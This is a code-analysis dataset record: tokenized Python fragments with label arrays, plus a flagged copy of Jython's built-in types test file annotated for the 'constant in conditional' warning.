",_", "type_", "=_", "\"", "string", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"", "number", " ", "format", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "parser_", "._", "set\\u", "defaults_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "\"", "kl", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "columns_", "=_", "\"", "all", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "xrange_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "pseudo", "counts_", "=_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "normalize_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "number", "\\u", "format_", "=_", "\"%", "6.4", "f", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "options_", ",_", "args_", ")_", "=_", "E_", "._", "Start_", "(_", "parser_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "add", "\\u", "pipe", "\\u", "options_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "options_", "._", "xrange_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "options_", "._", "xrange_", "=_", "map_", "(_", "float_", ",_", "options_", "._", "xrange_", "._", "split_", "(_", "\",\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "data_", ",_", "legend_", "=_", "IO", "Tools_", "._", "read", "Table_", "(_", "sys_", "._", "stdin_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "numeri", "c\\u", "type_", "=_", "numpy_", "._", "float32_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "take_", "=_", "options_", "._", "columns_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "options_", "._", "headers_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "truncate_", "=_", "options_", "._", "xrange_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "nrows_", ",_", "ncols_", "=_", "data_", "._", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "first", ":", " ", "normali", "ze", " ", "rows_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "y_", "in_", "range_", "(_", "1_", ",_", "ncols_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "x_", "in_", "range_", "(_", "nrows_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "[_", "x_", ",_", "y_", "]_", "=_", "data_", "[_", "x_", ",_", "y_", "]_", "+_", "float_", "(_", "options_", "._", "pseudo", "counts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "options_", "._", "normalize_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t_", "=_", "numpy_", "._", "sum_", "(_", "data_", "[_", ":_", ",_", "y_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "x_", "in_", "range_", "(_", "nrows_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "[_", "x_", ",_", "y_", "]_", "=_", "data_", "[_", "x_", ",_", "y_", "]_", "/_", "t_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "x_", "in_", "range_", "(_", "1_", ",_", "len_", "(_", "legend_", ")_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "y_", "in_", "range_", "(_", "x_", "+_", "1_", ",_", "len_", "(_", "legend_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "options_", "._", "method_", "==_", "\"", "kl", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d1_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d2_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "bin_", "in_", "range_", "(_", "nrows_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "p_", "=_", "data_", "[_", "bin_", ",_", "x_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "q_", "=_", "data_", "[_", "bin_", ",_", "y_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d1_", "+=_", "p_", "*_", "math_", "._", "log_", "(_", "p_", "/_", "q_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d2_", "+=_", "q_", "*_", "math_", "._", "log_", "(_", "q_", "/_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "options_", "._", "stdout_", "._", "write_", "(_", "\"%", "s", "\\\\", "t", "%", "s", "\\\\", "t", "%", "s", "\\\\", "n", "\"_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "legend_", "[_", "x_", "]_", ",_", "legend_", "[_", "y_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "options_", "._", "number", "\\u", "format_", "%_", "d1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options_", "._", "stdout_", "._", "write_", "(_", "\"%", "s", "\\\\", "t", "%", "s", "\\\\", "t", "%", "s", "\\\\", "n", "\"_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "legend_", "[_", "y_", "]_", ",_", "legend_", "[_", "x_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "options_", "._", "number", "\\u", "format_", "%_", "d2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "E_", "._", "Stop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Constant in conditional expression or statement
babble/babble/include/jython/Lib/test/test_types.py
[ { "content": "# Python test set -- part 6, built-in types\n\nfrom test.test_support import *\n\nprint '6. Built-in types'\n\nprint '6.1 Truth value testing'\nif None: raise TestFailed, 'None is true instead of false'\nif 0: raise TestFailed, '0 is true instead of false'\nif 0L: raise TestFailed, '0L is true instead of false'\nif 0.0: raise TestFailed, '0.0 is true instead of false'\nif '': raise TestFailed, '\\'\\' is true instead of false'\nif not 1: raise TestFailed, '1 is false instead of true'\nif not 1L: raise TestFailed, '1L is false instead of true'\nif not 1.0: raise TestFailed, '1.0 is false instead of true'\nif not 'x': raise TestFailed, '\\'x\\' is false instead of true'\nif not {'x': 1}: raise TestFailed, '{\\'x\\': 1} is false instead of true'\nimport sys\nx = C()\nif not f: raise TestFailed, 'f is false instead of true'\nif not C: raise TestFailed, 'C is false instead of true'\nif not sys: raise TestFailed, 'sys is false instead of true'\nif not x: raise TestFailed, 'x is false instead of true'\n\nprint '6.2 Boolean operations'\nif 0 or 0: raise TestFailed, '0 or 0 is true instead of false'\nif 1 and 1: pass\nelse: raise TestFailed, '1 and 1 is false instead of true'\nif not 1: raise TestFailed, 'not 1 is true instead of false'\n\nprint '6.3 Comparisons'\nif 0 < 1 <= 1 == 1 >= 1 > 0 != 1: pass\nelse: raise TestFailed, 'int comparisons failed'\nif 0L < 1L <= 1L == 1L >= 1L > 0L != 1L: pass\nelse: raise TestFailed, 'long int comparisons failed'\nif 0.0 < 1.0 <= 1.0 == 1.0 >= 1.0 > 0.0 != 1.0: pass\nelse: raise TestFailed, 'float comparisons failed'\nif '' < 'a' <= 'a' == 'a' < 'abc' < 'abd' < 'b': pass\nelse: raise TestFailed, 'string comparisons failed'\nif None is None: pass\nelse: raise TestFailed, 'identity test failed'\n\ntry: float('')\nexcept ValueError: pass\nelse: raise TestFailed, \"float('') didn't raise ValueError\"\n\ntry: float('5\\0')\nexcept ValueError: pass\nelse: raise TestFailed, \"float('5\\0') didn't raise ValueError\"\n\ntry: 5.0 / 0.0\nexcept ZeroDivisionError: pass\nelse: raise TestFailed, \"5.0 / 0.0 didn't raise ZeroDivisionError\"\n\ntry: 5.0 // 0.0\nexcept ZeroDivisionError: pass\nelse: raise TestFailed, \"5.0 // 0.0 didn't raise ZeroDivisionError\"\n\ntry: 5.0 % 0.0\nexcept ZeroDivisionError: pass\nelse: raise TestFailed, \"5.0 % 0.0 didn't raise ZeroDivisionError\"\n\ntry: 5 / 0L\nexcept ZeroDivisionError: pass\nelse: raise TestFailed, \"5 / 0L didn't raise ZeroDivisionError\"\n\ntry: 5 // 0L\nexcept ZeroDivisionError: pass\nelse: raise TestFailed, \"5 // 0L didn't raise ZeroDivisionError\"\n\ntry: 5 % 0L\nexcept ZeroDivisionError: pass\nelse: raise TestFailed, \"5 % 0L didn't raise ZeroDivisionError\"\n\nprint '6.4 Numeric types (mostly conversions)'\nif 0 != 0L or 0 != 0.0 or 0L != 0.0: raise TestFailed, 'mixed comparisons'\nif 1 != 1L or 1 != 1.0 or 1L != 1.0: raise TestFailed, 'mixed comparisons'\nif -1 != -1L or -1 != -1.0 or -1L != -1.0:\n raise TestFailed, 'int/long/float value not equal'\n# calling built-in types without argument must return 0\nif int() != 0: raise TestFailed, 'int() does not return 0'\nif long() != 0L: raise TestFailed, 'long() does not return 0L'\nif float() != 0.0: raise TestFailed, 'float() does not return 0.0'\nif int(1.9) == 1 == int(1.1) and int(-1.1) == -1 == int(-1.9): pass\nelse: raise TestFailed, 'int() does not round properly'\nif long(1.9) == 1L == long(1.1) and long(-1.1) == -1L == long(-1.9): pass\nelse: raise TestFailed, 'long() does not round properly'\nif float(1) == 1.0 and float(-1) == -1.0 and float(0) == 0.0: pass\nelse: raise TestFailed, 'float() does not work properly'\nprint '6.4.1 32-bit integers'\n# Ensure the first 256 integers are shared\na = 256\nb = 128*2\nif a is not b: raise TestFailed, '256 is not shared'\nif 12 + 24 != 36: raise TestFailed, 'int op'\nif 12 + (-24) != -12: raise TestFailed, 'int op'\nif (-12) + 24 != 12: raise TestFailed, 'int op'\nif (-12) + (-24) != -36: raise TestFailed, 'int op'\nif not 12 < 24: raise TestFailed, 'int op'\nif not -24 < -12: raise TestFailed, 'int op'\n# Test for a particular bug in integer multiply\nxsize, ysize, zsize = 238, 356, 4\nif not (xsize*ysize*zsize == zsize*xsize*ysize == 338912):\n raise TestFailed, 'int mul commutativity'\n# And another.\nm = -sys.maxint - 1\nfor divisor in 1, 2, 4, 8, 16, 32:\n j = m // divisor\n prod = divisor * j\n if prod != m:\n raise TestFailed, \"%r * %r == %r != %r\" % (divisor, j, prod, m)\n if type(prod) is not int:\n raise TestFailed, (\"expected type(prod) to be int, not %r\" %\n type(prod))\n# Check for expected * overflow to long.\nfor divisor in 1, 2, 4, 8, 16, 32:\n j = m // divisor - 1\n prod = divisor * j\n if type(prod) is not long:\n raise TestFailed, (\"expected type(%r) to be long, not %r\" %\n (prod, type(prod)))\n# Check for expected * overflow to long.\nm = sys.maxint\nfor divisor in 1, 2, 4, 8, 16, 32:\n j = m // divisor + 1\n prod = divisor * j\n if type(prod) is not long:\n raise TestFailed, (\"expected type(%r) to be long, not %r\" %\n (prod, type(prod)))\n\nprint '6.4.2 Long integers'\nif 12L + 24L != 36L: raise TestFailed, 'long op'\nif 12L + (-24L) != -12L: raise TestFailed, 'long op'\nif (-12L) + 24L != 12L: raise TestFailed, 'long op'\nif (-12L) + (-24L) != -36L: raise TestFailed, 'long op'\nif not 12L < 24L: raise TestFailed, 'long op'\nif not -24L < -12L: raise TestFailed, 'long op'\nx = sys.maxint\nif int(long(x)) != x: raise TestFailed, 'long op'\ntry: y = int(long(x)+1L)\nexcept OverflowError: raise TestFailed, 'long op'\nif not isinstance(y, long): raise TestFailed, 'long op'\nx = -x\nif int(long(x)) != x: raise TestFailed, 'long op'\nx = x-1\nif int(long(x)) != x: raise TestFailed, 'long op'\ntry: y = int(long(x)-1L)\nexcept OverflowError: raise TestFailed, 'long op'\nif not isinstance(y, long): raise TestFailed, 'long op'\n\ntry: 5 << -5\nexcept ValueError: pass\nelse: raise TestFailed, 'int negative shift <<'\n\ntry: 5L << -5L\nexcept ValueError: pass\nelse: raise TestFailed, 'long negative shift <<'\n\ntry: 5 >> -5\nexcept ValueError: pass\nelse: raise TestFailed, 'int negative shift >>'\n\ntry: 5L >> -5L\nexcept ValueError: pass\nelse: raise TestFailed, 'long negative shift >>'\n\nprint '6.4.3 Floating point numbers'\nif 12.0 + 24.0 != 36.0: raise TestFailed, 'float op'\nif 12.0 + (-24.0) != -12.0: raise TestFailed, 'float op'\nif (-12.0) + 24.0 != 12.0: raise TestFailed, 'float op'\nif (-12.0) + (-24.0) != -36.0: raise TestFailed, 'float op'\nif not 12.0 < 24.0: raise TestFailed, 'float op'\nif not -24.0 < -12.0: raise TestFailed, 'float op'\n\nprint '6.5 Sequence types'\n\nprint '6.5.1 Strings'\nif len('') != 0: raise TestFailed, 'len(\\'\\')'\nif len('a') != 1: raise TestFailed, 'len(\\'a\\')'\nif len('abcdef') != 6: raise TestFailed, 'len(\\'abcdef\\')'\nif 'xyz' + 'abcde' != 'xyzabcde': raise TestFailed, 'string concatenation'\nif 'xyz'*3 != 'xyzxyzxyz': raise TestFailed, 'string repetition *3'\nif 0*'abcde' != '': raise TestFailed, 'string repetition 0*'\nif min('abc') != 'a' or max('abc') != 'c': raise TestFailed, 'min/max string'\nif 'a' in 'abc' and 'b' in 'abc' and 'c' in 'abc' and 'd' not in 'abc': pass\nelse: raise TestFailed, 'in/not in string'\nx = 'x'*103\nif '%s!'%x != x+'!': raise TestFailed, 'nasty string formatting bug'\n\n#extended slices for strings\na = '0123456789'\nvereq(a[::], a)\nvereq(a[::2], '02468')\nvereq(a[1::2], '13579')\nvereq(a[::-1],'9876543210')\nvereq(a[::-2], '97531')\nvereq(a[3::-2], '31')\nvereq(a[-100:100:], a)\nvereq(a[100:-100:-1], a[::-1])\nvereq(a[-100L:100L:2L], '02468')\n\nif have_unicode:\n a = unicode('0123456789', 'ascii')\n vereq(a[::], a)\n vereq(a[::2], unicode('02468', 'ascii'))\n vereq(a[1::2], unicode('13579', 'ascii'))\n vereq(a[::-1], unicode('9876543210', 'ascii'))\n vereq(a[::-2], unicode('97531', 'ascii'))\n vereq(a[3::-2], unicode('31', 'ascii'))\n vereq(a[-100:100:], a)\n vereq(a[100:-100:-1], a[::-1])\n vereq(a[-100L:100L:2L], unicode('02468', 'ascii'))\n\n\nprint '6.5.2 Tuples [see test_tuple.py]'\n\nprint '6.5.3 Lists [see test_list.py]'\n\nprint '6.6 Mappings == Dictionaries [see test_dict.py]'\n\n\ntry: type(1, 2)\nexcept TypeError: pass\nelse: raise TestFailed, 'type(), w/2 args expected TypeError'\n\ntry: type(1, 2, 3, 4)\nexcept TypeError: pass\nelse: raise TestFailed, 'type(), w/4 args expected TypeError'\n\n# XXX: Jython lacks buffers\nprint 'Buffers'\nif not is_jython:\n try: buffer('asdf', -1)\n except ValueError: pass\n else: raise TestFailed, \"buffer('asdf', -1) should raise ValueError\"\n cmp(buffer(\"abc\"), buffer(\"def\")) # used to raise a warning: tp_compare didn't return -1, 0, or 1\n\n try: buffer(None)\n except TypeError: pass\n else: raise TestFailed, \"buffer(None) should raise TypeError\"\n\n a = buffer('asdf')\n hash(a)\n b = a * 5\n if a == b:\n raise TestFailed, 'buffers should not be equal'\n if str(b) != ('asdf' * 5):\n raise TestFailed, 'repeated buffer has wrong content'\n if str(a * 0) != '':\n raise TestFailed, 'repeated buffer zero times has wrong content'\n if str(a + buffer('def')) != 'asdfdef':\n raise TestFailed, 'concatenation of buffers yields wrong content'\n if str(buffer(a)) != 'asdf':\n raise TestFailed, 'composing buffers failed'\n if str(buffer(a, 2)) != 'df':\n raise TestFailed, 'specifying buffer offset failed'\n if str(buffer(a, 0, 2)) != 'as':\n raise TestFailed, 'specifying buffer size failed'\n if str(buffer(a, 1, 2)) != 'sd':\n raise TestFailed, 'specifying buffer offset and size failed'\n try: buffer(buffer('asdf', 1), -1)\n except ValueError: pass\n else: raise TestFailed, \"buffer(buffer('asdf', 1), -1) should raise ValueError\"\n if str(buffer(buffer('asdf', 0, 2), 0)) != 'as':\n raise TestFailed, 'composing length-specified buffer failed'\n if str(buffer(buffer('asdf', 0, 2), 0, 5000)) != 'as':\n raise TestFailed, 'composing length-specified buffer failed'\n if str(buffer(buffer('asdf', 0, 2), 0, -1)) != 'as':\n raise TestFailed, 'composing length-specified buffer failed'\n if str(buffer(buffer('asdf', 0, 2), 1, 2)) != 's':\n raise TestFailed, 'composing length-specified buffer failed'\n\n try: a[1] = 'g'\n except TypeError: pass\n else: raise TestFailed, \"buffer assignment should raise TypeError\"\n\n try: a[0:1] = 'g'\n except TypeError: pass\n else: raise TestFailed, \"buffer slice assignment should raise TypeError\"\n\n # array.array() returns an object that does not implement a char buffer,\n # something which int() uses for conversion.\n import array\n try: int(buffer(array.array('c')))\n except TypeError :pass\n else: raise TestFailed, \"char buffer (at C level) not working\"\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "not 1:", "start_line": 12, "start_column": 3, "end_line": 12, "end_column": 8 }, { "span": "not 1L:", "start_line": 13, "start_column": 3, "end_line": 13, "end_column": 9 }, { "span": "not 1.0:", "start_line": 14, "start_column": 3, "end_line": 14, "end_column": 10 }, { "span": "not 'x':", "start_line": 15, "start_column": 3, "end_line": 15, "end_column": 10 }, { "span": "not {'x': 1}:", "start_line": 16, "start_column": 3, "end_line": 16, "end_column": 15 }, { "span": "not 1:", "start_line": 30, "start_column": 3, "end_line": 30, "end_column": 8 }, { "span": "0 < 1 <= 1 == 1 >= 1 > 0 != 1:", "start_line": 33, "start_column": 3, "end_line": 33, "end_column": 32 }, { "span": "0L < 1L <= 1L == 1L >= 1L > 0L != 1L:", "start_line": 35, "start_column": 3, "end_line": 35, "end_column": 39 }, { "span": "0.0 < 1.0 <= 1.0 == 1.0 >= 1.0 > 0.0 != 1.0:", "start_line": 37, "start_column": 3, "end_line": 37, "end_column": 46 }, { "span": "'' < 'a' <= 'a' == 'a' < 'abc' < 'abd' < 'b':", "start_line": 39, "start_column": 3, "end_line": 39, "end_column": 47 }, { "span": "0 != 0L or 0 != 0.0 or 0L != 0.0:", "start_line": 77, "start_column": 3, "end_line": 77, "end_column": 35 }, { "span": "1 != 1L or 1 != 1.0 or 1L != 1.0:", "start_line": 78, "start_column": 3, "end_line": 78, "end_column": 35 }, { "span": "-1 != -1L or -1 != -1.0 or -1L != -1.0:", "start_line": 79, "start_column": 3, "end_line": 79, "end_column": 41 }, { "span": "12 + 24 != 36:", "start_line": 96, "start_column": 3, "end_line": 96, "end_column": 16 }, { "span": "12 + (-24) != -12:", "start_line": 97, "start_column": 3, "end_line": 97, "end_column": 20 }, { "span": "(-12) + 24 != 12:", "start_line": 98, "start_column": 3, "end_line": 98, "end_column": 19 }, { "span": "(-12) + (-24) != -36:", "start_line": 99, "start_column": 3, "end_line": 99, "end_column": 23 }, { "span": "not 12 < 24:", "start_line": 100, "start_column": 3, "end_line": 100, "end_column": 14 }, { "span": "not -24 < -12:", "start_line": 101, "start_column": 3, "end_line": 101, "end_column": 16 }, { "span": "12L + 24L != 36L:", "start_line": 133, "start_column": 3, "end_line": 133, "end_column": 19 }, { "span": "12L + (-24L) != -12L:", "start_line": 134, "start_column": 3, "end_line": 134, "end_column": 23 }, { "span": "(-12L) + 24L != 12L:", "start_line": 135, "start_column": 3, "end_line": 135, "end_column": 22 }, { "span": "(-12L) + (-24L) != -36L:", "start_line": 136, "start_column": 3, "end_line": 136, "end_column": 26 }, { "span": "not 12L < 24L:", "start_line": 137, "start_column": 3, "end_line": 137, "end_column": 16 }, { "span": "not -24L < -12L:", "start_line": 138, "start_column": 3, "end_line": 138, "end_column": 18 }, { "span": "12.0 + 24.0 != 36.0:", "start_line": 169, "start_column": 3, "end_line": 169, "end_column": 22 }, { "span": "12.0 + (-24.0) != -12.0:", "start_line": 170, "start_column": 3, "end_line": 170, "end_column": 26 }, { "span": "(-12.0) + 24.0 != 12.0:", "start_line": 171, "start_column": 3, "end_line": 171, "end_column": 25 }, { "span": "(-12.0) + (-24.0) != -36.0:", "start_line": 172, "start_column": 3, "end_line": 172, "end_column": 29 }, { "span": "not 12.0 < 24.0:", "start_line": 173, "start_column": 3, "end_line": 173, "end_column": 18 }, { "span": "not -24.0 < -12.0:", "start_line": 174, "start_column": 3, "end_line": 174, "end_column": 20 }, { "span": "'xyz' + 'abcde' != 'xyzabcde':", "start_line": 182, "start_column": 3, "end_line": 182, "end_column": 32 }, { "span": "'xyz'*3 != 'xyzxyzxyz':", "start_line": 183, "start_column": 3, "end_line": 183, "end_column": 25 }, { "span": "0*'abcde' != '':", "start_line": 184, "start_column": 3, "end_line": 184, "end_column": 18 }, { "span": "'a' in 'abc' and 'b' in 'abc' and 'c' in 'abc' and 'd' not in 'abc':", "start_line": 186, "start_column": 3, "end_line": 186, "end_column": 70 } ]
[]
1
true
[ "[CLS]_", "Constant_", "in_", "conditional", "_", "expression_", "or_", "statement_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Pyth", "on", " ", "test", " ", "set", " ", "--", " ", "part", " ", "6", ",", " ", "bui", "lt", "-", "in", " ", "types_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "test_", "._", "test\\u", "support_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'", "6", ".", " ", "Bu", "ilt", "-", "in", " ", "types", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'", "6.1", " ", "Tru", "th", " ", "value", " ", "testi", "ng", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "None_", ":_", "raise_", "Test", "Failed_", ",_", "'", "Non", "e", " ", "is", " ", "true", " ", "inst", "ead", " ", "of", " ", "fal", "se", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "0_", ":_", "raise_", "Test", "Failed_", ",_", "'", "0", " ", "is", " ", "true", " ", "inst", "ead", " ", "of", " ", "fal", "se", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "0_", "L_", ":_", "raise_", "Test", "Failed_", ",_", "'", "0", "L", " ", "is", " ", "true", " ", "inst", "ead", " ", "of", " ", "fal", "se", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "0.0_", ":_", "raise_", "Test", "Failed_", ",_", "'", "0.", "0", " ", "is", " ", "true", " ", "inst", "ead", " ", "of", " ", "fal", "se", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "''_", ":_", "raise_", "Test", "Failed_", ",_", "'\\\\'", "\\\\'", " ", "is", " ", "true", " ", "inst", "ead", " ", "of", " ", "fal", "se", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "1_", ":_", "raise_", "Test", "Failed_", ",_", "'", "1", " ", "is", " ", "fal", "se", " ", "inst", "ead", " ", "of", " ", "true", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "1_", "L_", ":_", "raise_", "Test", "Failed_", ",_", "'", "1", "L", " ", "is", " ", "fal", "se", " ", "inst", "ead", " ", "of", " ", "true", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "1.0_", ":_", "raise_", "Test", "Failed_", ",_", "'", "1.0", " ", "is", " ", "fal", "se", " ", "inst", "ead", " ", "of", " ", "true", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "'", "x", "'_", ":_", "raise_", "Test", "Failed_", ",_", "'\\\\'", "x", "\\\\'", " ", "is", " ", "fal", "se", " ", "inst", "ead", " ", "of", " ", "true", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "{_", "'", "x", "'_", ":_", "1_", "}_", ":_", "raise_", "Test", "Failed_", ",_", "'{", "\\\\'", "x", "\\\\':", " ", "1", "}", " ", "is", " ", "fal", "se", " ", "inst", "ead", " ", "of", " ", "true", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "C_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "f_", ":_", "raise_", "Test", "Failed_", ",_", "'", "f", " ", "is", " ", "fal", "se", " ", "inst", "ead", " ", "of", " ", "true", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "C_", ":_", "raise_", "Test", "Failed_", ",_", "'", "C", " ", "is", " ", "fal", "se", " ", "inst", "ead", " ", "of", " ", "true", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "sys_", ":_", "raise_", "Test", "Failed_", ",_", "'", "sys", " ", "is", " ", "fal", "se", " ", "inst", "ead", " ", "of", " ", "true", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "x_", ":_", "raise_", "Test", "Failed_", ",_", "'", "x", " ", "is", " ", "fal", "se", " ", "inst", "ead", " ", "of", " ", "true", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'", "6.2", " ", "Boo", "lean", " ", "operati", "ons", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "0_", "or_", "0_", ":_", "raise_", "Test", "Failed_", ",_", "'", "0", " ", "or", " ", "0", " ", "is", " ", "true", " ", "inst", "ead", " ", "of", " ", "fal", "se", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "1_", "and_", "1_", ":_", "pass_", 